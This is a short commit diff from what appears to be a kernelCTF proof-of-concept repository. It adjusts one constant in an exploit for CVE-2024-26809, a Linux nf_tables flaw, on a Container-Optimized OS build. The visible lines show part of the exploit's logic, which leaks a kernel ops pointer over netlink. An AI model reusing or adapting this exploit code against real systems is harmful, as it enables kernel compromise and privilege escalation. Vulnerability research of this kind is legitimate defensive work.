google
diff --git a/‎pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit
0 Bytes b/‎pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit
0 Bytes
diff --git a/‎pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit.c
+1-1 b/‎pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit.c
+1-1
@@ -256,7 +256,7 @@ void exploit(struct nl_sock *socket){
     	nl_recvmsgs_default(socket2);
     	nl_recvmsgs_default(socket2);
     	printf("Get ops : %llx\n",*(uint64_t *)(table_udata+0x28));//0x28 = offset(elem, expr[0]->ops), the elem is created by function nft_set_elem_init
-	if(((*(uint64_t *)(table_udata+0x28)) & 0xfff ) == 0x2e0){
+	if(((*(uint64_t *)(table_udata+0x28)) & 0xfff ) == 0xF20){
     	    break;
 	}
 	sleep(0.1);//Waiting the function nf_tables_commit.
Original file line number	Diff line number	Diff line change
`@@ -256,7 +256,7 @@ void exploit(struct nl_sock *socket){`
`256`	`256`	`nl_recvmsgs_default(socket2);`
`257`	`257`	`nl_recvmsgs_default(socket2);`
`258`	`258`	`printf("Get ops : %llx\n",(uint64_t )(table_udata+0x28));//0x28 = offset(elem, expr[0]->ops), the elem is created by function nft_set_elem_init`
`259`		`- if((((uint64_t )(table_udata+0x28)) & 0xfff ) == 0x2e0){`
	`259`	`+ if((((uint64_t )(table_udata+0x28)) & 0xfff ) == 0xF20){`
`260`	`260`	`break;`
`261`	`261`	`}`
`262`	`262`	`sleep(0.1);//Waiting the function nf_tables_commit.`